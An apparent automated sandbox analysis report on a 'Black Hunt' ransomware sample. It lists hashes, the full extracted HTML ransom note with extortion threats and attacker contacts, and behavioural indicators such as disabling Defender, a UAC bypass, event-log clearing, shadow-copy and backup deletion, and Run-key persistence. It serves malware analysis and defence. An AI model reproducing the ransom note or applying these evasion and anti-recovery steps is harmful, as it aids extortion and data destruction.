e7c5d1bfac6918a71a25eb51f9b8111a685b713ca3e232694388358391342d6e

Analysis

max time kernel
167s
max time network
200s
platform
windows10-2004_x64
resource
win10v2004-20231215-en
resource tags

arch:x64arch:x86image:win10v2004-20231215-enlocale:en-usos:windows10-2004-x64system
submitted
19/01/2024, 01:16

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General

Target

e7c5d1bfac6918a71a25eb51f9b8111a685b713ca3e232694388358391342d6e.exe
Size

707KB
MD5

50384add7e5e0e49c03374d258399fbb
SHA1

9446766f0451bd2d478fb74ec9cdfe20f900367e
SHA256

e7c5d1bfac6918a71a25eb51f9b8111a685b713ca3e232694388358391342d6e
SHA512

ae06661ce2fc5ecf0e3182fe873a001ed4c473c12c265e3177225b483af04d0fabf1321df5f50c26eb42a0cf85ba4a0ec5ff4be383d613fa4b5b95ef61185147
SSDEEP

6144:wcmwdMZ0aq9arLKkdMqJ+VYg/5ICAAQs+d5zSTamgEoOFzxLza1s8qvnh:6uaTmkZJ+naie5OTamgEoKxLW3kh

Score

10^/10

evasion persistence ransomware trojan

Malware Config

Extracted

Path

C:\ProgramData\#BlackHunt_ReadMe.hta

Ransom Note

<!DOCTYPE html><html lang="en"><head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1.0"> <meta http-equiv="x-ua-compatible" content="ie=9"><meta charset="UTF-8"><HTA:APPLICATION icon="#" WINDOWSTATE="maximize" scroll="no" SELECTION="yes" contextmenu="no" caption="yes" SYSMENU="no" innerBorder="yes" SHOWINTASKBAR="yes" singleInstance="yes" /><meta name="viewport" content="width = device-width,initial-scale=1.0"><style>a,abbr,acronym,address,applet,article,aside,audio,b,big,blockquote,body,canvas,caption,center,cite,code,dd,del,details,dfn,div,dl,dt,em,embed,fieldset,figcaption,figure,footer,form,h1,h2,h3,h4,h5,h6,header,hgroup,html,i,iframe,img,ins,kbd,label,legend,li,mark,menu,nav,object,ol,output,p,pre,q,ruby,s,samp,section,small,span,strike,strong,sub,summary,sup,table,tbody,td,tfoot,th,thead,time,tr,tt,u,ul,var,video{margin:0;padding:0;border:0;font-size:100%;font:inherit;vertical-align:baseline}article,aside,details,figcaption,figure,footer,header,hgroup,menu,nav,section{display:block}body{line-height:1}ol,ul{list-style:none}blockquote,q{quotes:none}blockquote:after,blockquote:before,q:after,q:before{content:'';content:none}table{border-collapse:collapse;border-spacing:0}</style><style>body,html{background-color:#dadada;font-family:'Segoe UI',Tahoma,Geneva,Verdana,sans-serif;font-weight:600;font-size:16px}a{text-decoration:none;color:#0483ab}div.header{margin-top:15px;margin-bottom:5px;width:100%}div.header h1{width:97%;text-align:left;font-size:30px;font-weight:900;margin:auto}div.header h1 span#black{display:inline-block;color:#000;margin-right:0;padding:2px 2px}div.header h1 span#hunter{display:inline-block;color:#e90303;background-color:#000;padding:2px 8px;margin-left:0}div.header h1 span#hunter span#version{font-size:12px}div.message div.head-encrypted-msg{width:100%}div.message div.head-encrypted-msg h1{font-size:330%;width:97%;margin:auto;text-align:center;font-weight:700}div.message div.head-encrypted-msg h1 span{display:inline-block;color:#000;background-color:#e90303;padding:0 8px 0 8px;margin-right:3px}div.message div.head-attention-msg{width:97%;margin:auto;text-align:center;margin-top:1%;border:1px solid #e90303;background-color:#f1caca;border-radius:5px;font-size:250%;padding-top:10px;padding-bottom:10px}div.message div.head-attention-msg p{margin-bottom:.5%}div.message div.head-attention-msg p span{color:#e90303}div.content{margin:auto;margin-top:2%}div.content div.content-head-msg{font-size:32px;text-align:left;font-weight:600}div.content div.content-boxes{margin:auto;margin-top:2%}div.content div.box{width:96%;margin:auto;border-radius:5px;margin-bottom:30px}div.content div.content-left-box{background-color:#c5cfd8;padding:40px 0 40px 20px;font-size:24px;position:relative;border-left:15px solid #1878cf}div.content div.content-left-box h3.left-box-title{background-color:#1878cf;display:inline-block;padding:10px 10px;border-radius:5px;color:#fff;position:absolute;top:-22px;margin-left:auto;margin-right:auto;left:0;right:0;width:20%;text-align:center}div.content div.content-left-box div.content-contact-directly *{font-weight:600!important;line-height:1.4em}div.content div.content-left-box div.content-contact-directly h4{font-size:24px;font-weight:500;margin-top:8px}div.content div.content-left-box div.content-contact-directly h4#tox{font-weight:600;display:inline-block;margin-left:3px}div.content div.content-left-box div.content-contact-directly div.tox-id{margin-left:6%}div.content div.content-left-box div.content-contact-directly h4#tox-id{font-size:24px}div.content div.content-left-box div.content-contact-directly p#tox-id-p{font-size:16px}div.content div.content-left-box div.content-contact-directly h4#download-tox{display:inline-block;margin-left:6%}div.content div.content-left-box div.content-contact-directly p#download-tox-p{display:inline-block}div.content div.content-left-box div.content-contact-directly h4#email{display:inline-block;font-weight:600;margin-left:3px}div.content div.content-left-box div.content-contact-directly p#email-p{display:inline-block;font-size:24px;margin-left:8px}div.content div.content-left-box div.content-contact-directly h4#user-id{font-weight:500;margin-left:3px}div.content div.content-left-box div.content-contact-directly h4#user-id span{color:#e90303}div.content div.content-left-box div.content-contact-tor{margin-top:50px;font-weight:600!important}div.content div.content-left-box div.content-contact-tor h3{font-size:24px}div.content div.content-left-box div.content-contact-tor h3 span{color:#e90303}div.content div.content-left-box div.content-contact-tor div.content-tor-inside{margin-left:6;margin-top:10px}div.content div.content-left-box div.content-contact-tor div.content-tor-inside p{margin-top:8px}div.content div.content-left-box div.content-contact-tor div.content-tor-inside p img{position:relative;bottom:-3px}div.content div.content-right-box{background-color:#efb0b0;padding:40px 0 40px 20px;font-size:24px;position:relative;border-left:15px solid #e90303}div.content div.content-right-box h3.right-box-title{background-color:#e90303;display:inline-block;padding:10px 10px;border-radius:5px;color:#fff;position:absolute;top:-22px;margin-left:auto;margin-right:auto;left:0;right:0;width:20%;text-align:center}div.content div.content-right-box p{color:#000;font-size:22px;font-weight:600;margin-top:9px;line-height:1.4em}div.content div.content-left-box p{color:#000;font-size:22px;font-weight:600;margin-top:9px;line-height:1.4em}div.content div.content-left-box p span{color:#e90303;font-weight:700;font-size:24px}</style><title>Black Hunt</title></head><body><div class="header"><h1><img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAIMAAAAWCAYAAADjNi+WAAAACXBIWXMAAC4jAAAuIwF4pT92AAALpWlUWHRYTUw6Y29tLmFkb2JlLnhtcAAAAAAAPD94cGFja2V0IGJlZ2luPSLvu78iIGlkPSJXNU0wTXBDZWhpSHpyZVN6TlRjemtjOWQiPz4gPHg6eG1wbWV0YSB4bWxuczp4PSJhZG9iZTpuczptZXRhLyIgeDp4bXB0az0iQWRvYmUgWE1QIENvcmUgNi4wLWMwMDIgNzkuMTY0NDYwLCAyMDIwLzA1LzEyLTE2OjA0OjE3ICAgICAgICAiPiA8cmRmOlJERiB4bWxuczpyZGY9Imh0dHA6Ly93d3cudzMub3JnLzE5OTkvMDIvMjItcmRmLXN5bnRheC1ucyMiPiA8cmRmOkRlc2NyaXB0aW9uIHJkZjphYm91dD0iIiB4bWxuczp4bXA9Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC8iIHhtbG5zOmRjPSJodHRwOi8vcHVybC5vcmcvZGMvZWxlbWVudHMvMS4xLyIgeG1sbnM6eG1wTU09Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC9tbS8iIHhtbG5zOnN0RXZ0PSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLjAvc1R5cGUvUmVzb3VyY2VFdmVudCMiIHhtbG5zOnN0UmVmPSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLjAvc1R5cGUvUmVzb3VyY2VSZWYjIiB4bWxuczpwaG90b3Nob3A9Imh0dHA6Ly9ucy5hZG9iZS5jb20vcGhvdG9zaG9wLzEuMC8iIHhtbG5zOnRpZmY9Imh0dHA6Ly9ucy5hZG9iZS5jb20vdGlmZi8xLjAvIiB4bWxuczpleGlmPSJodHRwOi8vbnMuYWRvYmUuY29tL2V4aWYvMS4wLyIgeG1wOkNyZWF0b3JUb29sPSJBZG9iZSBQaG90b3Nob3AgMjEuMiAoV2luZG93cykiIHhtcDpDcmVhdGVEYXRlPSIyMDIyLTEwLTEzVDEyOjMyOjAyKzAzOjMwIiB4bXA6TWV0YWRhdGFEYXRlPSIyMDIzLTA0LTA3VDA0OjIxOjI1KzA0OjMwIiB4bXA6TW9kaWZ5RGF0ZT0iMjAyMy0wNC0wN1QwNDoyMToyNSswNDozMCIgZGM6Zm9ybWF0PSJpbWFnZS9wbmciIHhtcE1NOkluc3RhbmNlSUQ9InhtcC5paWQ6NGRiOTQ5OGItYTg5Mi0yMTRjLTliYzgtZTZlMDM3ZTYzYmJkIiB4bXBNTTpEb2N1bWVudElEPSJhZG9iZTpkb2NpZDpwaG90b3Nob3A6ZGVlODIyNjgtMDA3Ni0wNDQ2LWFjMGEtMzk2OTY3MzA0YTdjIiB4bXBNTTpPcmlnaW5hbERvY3VtZW50SUQ9InhtcC5kaWQ6MjcyMzA2NjctZDM0ZC1lMjRmLWJlNTUtMDQyMWY2MmY3ZWI1IiBwaG90b3Nob3A6Q29sb3JNb2RlPSIzIiBwaG90b3Nob3A6SUNDUHJvZmlsZT0ic1JHQiBJRUM2MTk2Ni0yLjEiIHRpZmY6T3JpZW50YXRpb249IjEiIHRpZmY6WFJlc29sdXRpb249IjMwMDAwMDAvMTAwMDAiIHRpZmY6WVJlc29sdXRpb249IjMwMDAwMDAvMTAwMDAiIHRpZmY6UmVzb2x1dGlvblVuaXQ9IjIiIGV4aWY6Q29sb3JTcGFjZT0iMSIgZXhpZjpQaXhlbFhEaW1lbnNpb249IjQ0OSIgZXhpZjpQaXhlbFlEaW1lbnNpb249Ijg5Ij4gPHhtcE1NOkhpc3Rvcnk+IDxyZGY6U2VxPiA8cmRmOmxpIHN0RXZ0OmFjdGlvbj0iY3JlYXRlZCIgc3RFdnQ6aW5zdGFuY2VJRD0ieG1wLmlpZDoyNzIzMDY2Ny1kMzRkLWUyNGYtYmU1NS0wNDIxZjYyZjdlYjUiIHN0RXZ0OndoZW49IjIwMjItMTAtMTNUMTI6MzI6MDIrMDM6MzAiIHN0RXZ0OnNvZnR3YXJlQWdlbnQ9IkFkb2JlIFBob3Rvc2hvcCAyMS4yIChXaW5kb3dzKSIvPiA8cmRmOmxpIHN0RXZ0OmFjdGlvbj0ic2F2ZWQiIHN0RXZ0Omluc3RhbmNlSUQ9InhtcC5paWQ6NzU5MzVkMTMtYjM0OS02ZTRiLWIwODctYzc5ZTJmZGNiNzgwIiBzdEV2dDp3aGVuPSIyMDIyLTEwLTEzVDEyOjMyOjE0KzAzOjMwIiBzdEV2dDpzb2Z0d2FyZUFnZW50PSJBZG9iZSBQaG90b3Nob3AgMjEuMiAoV2luZG93cykiIHN0RXZ0OmNoYW5nZWQ9Ii8iLz4gPHJkZjpsaSBzdEV2dDphY3Rpb249InNhdmVkIiBzdEV2dDppbnN0YW5jZUlEPSJ4bXAuaWlkOmJiMmZiMmMyLWRjNDUtMzE0Yy1iMmQxLWRjNzFlZGUwNWJlYSIgc3RFdnQ6d2hlbj0iMjAyMy0wNC0wN1QwNDoyMToyNSswNDozMCIgc3RFdnQ6c29mdHdhcmVBZ2VudD0iQWRvYmUgUGhvdG9zaG9wIDIxLjIgKFdpbmRvd3MpIiBzdEV2dDpjaGFuZ2VkPSIvIi8+IDxyZGY6bGkgc3RFdnQ6YWN0aW9uPSJjb252ZXJ0ZWQiIHN0RXZ0OnBhcmFtZXRlcnM9ImZyb20gYXBwbGljYXRpb24vdm5kLmFkb2JlLnBob3Rvc2hvcCB0byBpbWFnZS9wbmciLz4gPHJkZjpsaSBzdEV2dDphY3Rpb249ImRlcml2ZWQiIHN0RXZ0OnBhcmFtZXRlcnM9ImNvbnZlcnRlZCBmcm9tIGFwcGxpY2F0aW9uL3ZuZC5hZG9iZS5waG90b3Nob3AgdG8gaW1hZ2UvcG5nIi8+IDxyZGY6bGkgc3RFdnQ6YWN0aW9uPSJzYXZlZCIgc3RFdnQ6aW5zdGFuY2VJRD0ieG1wLmlpZDo0ZGI5NDk4Yi1hODkyLTIxNGMtOWJjOC1lNmUwMzdlNjNiYmQiIHN0RXZ0OndoZW49IjIwMjMtMDQtMDdUMDQ6MjE6MjUrMDQ6MzAiIHN0RXZ0OnNvZnR3YXJlQWdlbnQ9IkFkb2JlIFBob3Rvc2hvcCAyMS4yIChXaW5kb3dzKSIgc3RFdnQ6Y2hhbmdlZD0iLyIvPiA8L3JkZjpTZXE+IDwveG1wTU06SGlzdG9yeT4gPHhtcE1NOkRlcml2ZWRGcm9tIHN0UmVmOmluc3RhbmNlSUQ9InhtcC5paWQ6YmIyZmIyYzItZGM0NS0zMTRjLWIyZDEtZGM3MWVkZTA1YmVhIiBzdFJlZjpkb2N1bWVudElEPSJhZG9iZTpkb2NpZDpwaG90b3Nob3A6YTU3NzljMGQtYzI3Zi05ZjQ2LWJmMjgtYjQ2MzIzZjQ5ZjQxIiBzdFJlZjpvcmlnaW5hbERvY3VtZW50SUQ9InhtcC5kaWQ6MjcyMzA2NjctZDM0ZC1lMjRmLWJlNTUtMDQy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 " alt=""></h1></div><div class="message"><div class="head-encrypted-msg"><h1>YOUR<span>WHOLE NETWORK</span>HAS BEEN PENETRATED BY<span>Black Hunt</span>!</h1></div><div class="head-attention-msg"><p>We also have uploaded your sensitive data, which we Will leak or sell in case of no cooperation!</p><p><span>Restore your data possible only buying private key from us</span></p></div></div><div class="content"><div class="content-boxes"><div class="content-right-box box"><h3 class="right-box-title">ATTENTION</h3><p>remember, there are many middle man services out there pretending that they can recover or decrypt your files , whom neither will contact us or scam you, Remember we are first and last solution for your files otherwise you will only waste money and time</p><p>trying to decrypt your files without our decryptor and through third party softwares will make your files completely useless, there is no third party decryptor since we are the only key holders</p><p>we have uploaded many critical data and information from your machines , we won't leak or sell any of them in Case of successful Corporation, however if we don't hear from you in 14 days we will either sell or leak your data in many forums</p><p></p><p>Remain all of your files untouched, do not change their name, extension and...</p></div><div class="content-left-box box"><h3 class="left-box-title">CONTACT US</h3><p>Your system is offline. in order to contact us you can email this address<span> [email protected] </span>this ID (<span> szRRlxeNCSYOxNWD </span>) for the title of your email.</p><p>If you weren't able to contact us whitin 24 hours please email:<span> [email protected] </span></p><p>Check your data situation in<a href="#"><span> http://sdjf982lkjsdvcjlksaf2kjhlksvvnktyoiasuc92lf.onion </span></a></p></div></div></div></body></html>

Emails

[email protected]

URLs

http-equiv="x-ua-compatible"

http://sdjf982lkjsdvcjlksaf2kjhlksvvnktyoiasuc92lf.onion

Signatures

Deletes NTFS Change Journal 2 TTPs 2 IoCs

The USN change journal is a persistent log of all changes made to local files used by Windows Server systems.

ransomware

Inhibit System Recovery

T1490

Data Destruction

T1485

pid	Process
5452	fsutil.exe
4488	fsutil.exe

Modifies Windows Defender Real-time Protection settings 3 TTPs 2 IoCs

evasion trojan

Modify Registry

T1112

Windows Service

T1543.003

Disable or Modify Tools

T1562.001

description	ioc	Process
Key created	\REGISTRY\MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1"	reg.exe

UAC bypass 3 TTPs 1 IoCs

evasion trojan

Bypass User Account Control

T1548.002

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	e7c5d1bfac6918a71a25eb51f9b8111a685b713ca3e232694388358391342d6e.exe

Clears Windows event logs 1 TTPs 5 IoCs

evasion ransomware

Indicator Removal

T1070

pid	Process
1428	wevtutil.exe
5028	wevtutil.exe
3164	wevtutil.exe
5700	wevtutil.exe
5280	wevtutil.exe

Deletes shadow copies 2 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware

File Deletion
T1070.004

Inhibit System Recovery
T1490

Modifies boot configuration data using bcdedit 1 TTPs 4 IoCs

ransomware evasion

Inhibit System Recovery

T1490

pid	Process
5756	bcdedit.exe
5144	bcdedit.exe
4204	bcdedit.exe
3932	bcdedit.exe

Renames multiple (114) files with added filename extension
This suggests ransomware activity of encrypting all the files on the system.
ransomware

Deletes backup catalog 3 TTPs 2 IoCs

Uses wbadmin.exe to inhibit system recovery.

ransomware

Command and Scripting Interpreter

T1059

File Deletion

T1070.004

Inhibit System Recovery

T1490

pid	Process
5092	wbadmin.exe
5484	wbadmin.exe

Disables Task Manager via registry modification
evasion
Disables use of System Restore points 1 TTPs
evasion

Inhibit System Recovery
T1490

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3073191680-435865314-2862784915-1000\Control Panel\International\Geo\Nation	e7c5d1bfac6918a71a25eb51f9b8111a685b713ca3e232694388358391342d6e.exe
Key value queried	\REGISTRY\USER\S-1-5-21-3073191680-435865314-2862784915-1000\Control Panel\International\Geo\Nation	cmd.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\{2C5F9FCC-F266-43F6-BFD7-838DAE269E11} = "C:\\ProgramData\\#BlackHunt_ReadMe.hta"	reg.exe

Checks whether UAC is enabled 1 TTPs 1 IoCs

evasion trojan

System Information Discovery

T1082

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	e7c5d1bfac6918a71a25eb51f9b8111a685b713ca3e232694388358391342d6e.exe

Enumerates connected drives 3 TTPs 27 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\J:	e7c5d1bfac6918a71a25eb51f9b8111a685b713ca3e232694388358391342d6e.exe
File opened (read-only)	\??\M:	fsutil.exe
File opened (read-only)	\??\R:	e7c5d1bfac6918a71a25eb51f9b8111a685b713ca3e232694388358391342d6e.exe
File opened (read-only)	\??\H:	e7c5d1bfac6918a71a25eb51f9b8111a685b713ca3e232694388358391342d6e.exe
File opened (read-only)	\??\U:	e7c5d1bfac6918a71a25eb51f9b8111a685b713ca3e232694388358391342d6e.exe
File opened (read-only)	\??\L:	e7c5d1bfac6918a71a25eb51f9b8111a685b713ca3e232694388358391342d6e.exe
File opened (read-only)	\??\Q:	e7c5d1bfac6918a71a25eb51f9b8111a685b713ca3e232694388358391342d6e.exe
File opened (read-only)	\??\K:	e7c5d1bfac6918a71a25eb51f9b8111a685b713ca3e232694388358391342d6e.exe
File opened (read-only)	\??\F:	vssadmin.exe
File opened (read-only)	\??\O:	e7c5d1bfac6918a71a25eb51f9b8111a685b713ca3e232694388358391342d6e.exe
File opened (read-only)	\??\G:	e7c5d1bfac6918a71a25eb51f9b8111a685b713ca3e232694388358391342d6e.exe
File opened (read-only)	\??\X:	e7c5d1bfac6918a71a25eb51f9b8111a685b713ca3e232694388358391342d6e.exe
File opened (read-only)	\??\N:	e7c5d1bfac6918a71a25eb51f9b8111a685b713ca3e232694388358391342d6e.exe
File opened (read-only)	\??\P:	e7c5d1bfac6918a71a25eb51f9b8111a685b713ca3e232694388358391342d6e.exe
File opened (read-only)	\??\A:	e7c5d1bfac6918a71a25eb51f9b8111a685b713ca3e232694388358391342d6e.exe
File opened (read-only)	\??\M:	e7c5d1bfac6918a71a25eb51f9b8111a685b713ca3e232694388358391342d6e.exe
File opened (read-only)	\??\F:	fsutil.exe
File opened (read-only)	\??\W:	e7c5d1bfac6918a71a25eb51f9b8111a685b713ca3e232694388358391342d6e.exe
File opened (read-only)	\??\T:	e7c5d1bfac6918a71a25eb51f9b8111a685b713ca3e232694388358391342d6e.exe
File opened (read-only)	\??\S:	e7c5d1bfac6918a71a25eb51f9b8111a685b713ca3e232694388358391342d6e.exe
File opened (read-only)	\??\V:	e7c5d1bfac6918a71a25eb51f9b8111a685b713ca3e232694388358391342d6e.exe
File opened (read-only)	\??\F:	vssadmin.exe
File opened (read-only)	\??\E:	e7c5d1bfac6918a71a25eb51f9b8111a685b713ca3e232694388358391342d6e.exe
File opened (read-only)	\??\Y:	e7c5d1bfac6918a71a25eb51f9b8111a685b713ca3e232694388358391342d6e.exe
File opened (read-only)	\??\I:	e7c5d1bfac6918a71a25eb51f9b8111a685b713ca3e232694388358391342d6e.exe
File opened (read-only)	\??\Z:	e7c5d1bfac6918a71a25eb51f9b8111a685b713ca3e232694388358391342d6e.exe
File opened (read-only)	\??\B:	e7c5d1bfac6918a71a25eb51f9b8111a685b713ca3e232694388358391342d6e.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
17	ip-api.com

Sets desktop wallpaper using registry 2 TTPs 1 IoCs

ransomware

Defacement

T1491

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-3073191680-435865314-2862784915-1000\Control Panel\Desktop\Wallpaper = "C:\\ProgramData\\#BlackHunt_BG.jpg"	e7c5d1bfac6918a71a25eb51f9b8111a685b713ca3e232694388358391342d6e.exe

Drops file in Program Files directory 64 IoCs

description	ioc	Process
File opened for modification	C:\Program Files\7-Zip\Lang\th.txt	e7c5d1bfac6918a71a25eb51f9b8111a685b713ca3e232694388358391342d6e.exe
File created	C:\Program Files\Java\jdk-1.8\bin\#BlackHunt_ReadMe.txt	e7c5d1bfac6918a71a25eb51f9b8111a685b713ca3e232694388358391342d6e.exe
File created	C:\Program Files\Java\jdk-1.8\jre\lib\cmm\#BlackHunt_Private.key	e7c5d1bfac6918a71a25eb51f9b8111a685b713ca3e232694388358391342d6e.exe
File created	C:\Program Files\Java\jdk-1.8\jre\lib\security\policy\limited\#BlackHunt_Private.key	e7c5d1bfac6918a71a25eb51f9b8111a685b713ca3e232694388358391342d6e.exe
File opened for modification	C:\Program Files\7-Zip\Lang\hi.txt	e7c5d1bfac6918a71a25eb51f9b8111a685b713ca3e232694388358391342d6e.exe
File opened for modification	C:\Program Files\7-Zip\Lang\lv.txt	e7c5d1bfac6918a71a25eb51f9b8111a685b713ca3e232694388358391342d6e.exe
File created	C:\Program Files\Java\jdk-1.8\include\win32\#BlackHunt_Private.key	e7c5d1bfac6918a71a25eb51f9b8111a685b713ca3e232694388358391342d6e.exe
File created	C:\Program Files\Java\jre-1.8\lib\applet\#BlackHunt_ReadMe.txt	e7c5d1bfac6918a71a25eb51f9b8111a685b713ca3e232694388358391342d6e.exe
File created	C:\Program Files\Java\jdk-1.8\jre\lib\images\#BlackHunt_Private.key	e7c5d1bfac6918a71a25eb51f9b8111a685b713ca3e232694388358391342d6e.exe
File opened for modification	C:\Program Files\7-Zip\Lang\es.txt	e7c5d1bfac6918a71a25eb51f9b8111a685b713ca3e232694388358391342d6e.exe
File opened for modification	C:\Program Files\7-Zip\Lang\zh-tw.txt	e7c5d1bfac6918a71a25eb51f9b8111a685b713ca3e232694388358391342d6e.exe
File created	C:\Program Files\Java\jdk-1.8\bin\#BlackHunt_ReadMe.hta	e7c5d1bfac6918a71a25eb51f9b8111a685b713ca3e232694388358391342d6e.exe
File created	C:\Program Files\Java\jre-1.8\bin\server\#BlackHunt_ReadMe.txt	e7c5d1bfac6918a71a25eb51f9b8111a685b713ca3e232694388358391342d6e.exe
File opened for modification	C:\Program Files\7-Zip\Lang\lt.txt	e7c5d1bfac6918a71a25eb51f9b8111a685b713ca3e232694388358391342d6e.exe
File opened for modification	C:\Program Files\7-Zip\Lang\sr-spl.txt	e7c5d1bfac6918a71a25eb51f9b8111a685b713ca3e232694388358391342d6e.exe
File created	C:\Program Files\Java\jdk-1.8\jre\legal\#BlackHunt_Private.key	e7c5d1bfac6918a71a25eb51f9b8111a685b713ca3e232694388358391342d6e.exe
File opened for modification	C:\Program Files\7-Zip\Lang\pt-br.txt	e7c5d1bfac6918a71a25eb51f9b8111a685b713ca3e232694388358391342d6e.exe
File created	C:\Program Files\Java\jdk-1.8\jre\lib\deploy\#BlackHunt_Private.key	e7c5d1bfac6918a71a25eb51f9b8111a685b713ca3e232694388358391342d6e.exe
File created	C:\Program Files\Java\jdk-1.8\legal\javafx\#BlackHunt_ReadMe.txt	e7c5d1bfac6918a71a25eb51f9b8111a685b713ca3e232694388358391342d6e.exe
File created	C:\Program Files\Java\jdk-1.8\jre\legal\jdk\#BlackHunt_ReadMe.txt	e7c5d1bfac6918a71a25eb51f9b8111a685b713ca3e232694388358391342d6e.exe
File created	C:\Program Files\Java\jdk-1.8\jre\lib\#BlackHunt_ReadMe.txt	e7c5d1bfac6918a71a25eb51f9b8111a685b713ca3e232694388358391342d6e.exe
File created	C:\Program Files\Java\jdk-1.8\jre\lib\ext\#BlackHunt_ReadMe.txt	e7c5d1bfac6918a71a25eb51f9b8111a685b713ca3e232694388358391342d6e.exe
File created	C:\Program Files\Java\jre-1.8\#BlackHunt_Private.key	e7c5d1bfac6918a71a25eb51f9b8111a685b713ca3e232694388358391342d6e.exe
File opened for modification	C:\Program Files\7-Zip\Lang\ar.txt	e7c5d1bfac6918a71a25eb51f9b8111a685b713ca3e232694388358391342d6e.exe
File opened for modification	C:\Program Files\7-Zip\Lang\it.txt	e7c5d1bfac6918a71a25eb51f9b8111a685b713ca3e232694388358391342d6e.exe
File opened for modification	C:\Program Files\7-Zip\Lang\ky.txt	e7c5d1bfac6918a71a25eb51f9b8111a685b713ca3e232694388358391342d6e.exe
